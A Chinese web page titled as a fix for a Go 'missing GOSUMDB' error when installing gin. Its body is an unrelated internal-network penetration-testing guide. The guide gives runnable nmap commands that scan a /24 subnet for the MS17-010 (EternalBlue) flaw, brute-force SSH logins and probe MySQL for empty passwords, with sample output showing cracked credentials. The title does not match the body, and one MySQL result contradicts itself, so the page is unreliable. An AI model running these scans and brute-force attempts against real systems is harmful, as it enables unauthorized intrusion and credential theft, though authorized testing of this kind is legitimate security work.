在安装gin时候出现报错：github.com/gin-gonic/gin@v1.12.0: verifying module: missing GOSUMDB...如何解决？
2026/8/21 11:55:18
场景背景
内网网段：10.0.0.0/24
任务：快速识别内网中可被利用的主机
准备工作
cd /d E:\pentest mkdir lateral_movement 2>nul cd /d E:\pentest\lateral_movement REM 创建证据目录（出事时保护自己） mkdir evidence 2>nul REM 保存当前时间戳 echo === 横向渗透准备开始: %date% %time% === > evidence\execution_log.txt REM 保存授权相关记录 echo 请将公司授权书截图保存到本目录 >> evidence\execution_log.txt mkdir wordlists 2>nul
curl -L -o wordlists\common_users.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt
|
实战步骤
扫描永恒之蓝漏洞
nmap --script smb-vuln-ms17-010 -p 445 10.0.0.0/24 -oN eternal_blue_scan.txt |
结果：若有未打补丁的主机
Nmap scan report for 10.0.0.7 Host is up (0.0012s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0144 | Disclosure date: 2017-03-14 | Check results: | SMBv1 is enabled | | References: | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0144
检查SSH弱口令
nmap --script ssh-brute --script-args userdb=internal_users.txt,passdb=common_passwords.txt -p 22 10.0.0.0/24 -oN ssh_brute_scan.txt |
结果：成功破解
| ssh-brute: | Accounts | root:root123 - Valid credentials ← 找到了 | admin:admin123 - Valid credentials
结果：没有破解
Nmap scan report for 10.0.0.12 22/tcp open ssh | ssh-brute: | Accounts: No valid accounts found ← 没破出来 |_ Statistics: Performed 1500 guesses in 30 seconds, average tps: 50.0
检测MySQL空密码
nmap --script mysql-empty-password -p 3306 10.0.0.0/24 -oN mysql_empty_password.txt |
结果：发现空密码
| mysql-empty-password: | root account h ...(truncated)...
结果：没有空密码
Nmap scan report for 10.0.0.20 3306/tcp open mysql | mysql-empty-password: | anonymous account has empty password | accounts: No valid accounts found ← 这台没空密码 | stats: Performed 0 checks in 0 seconds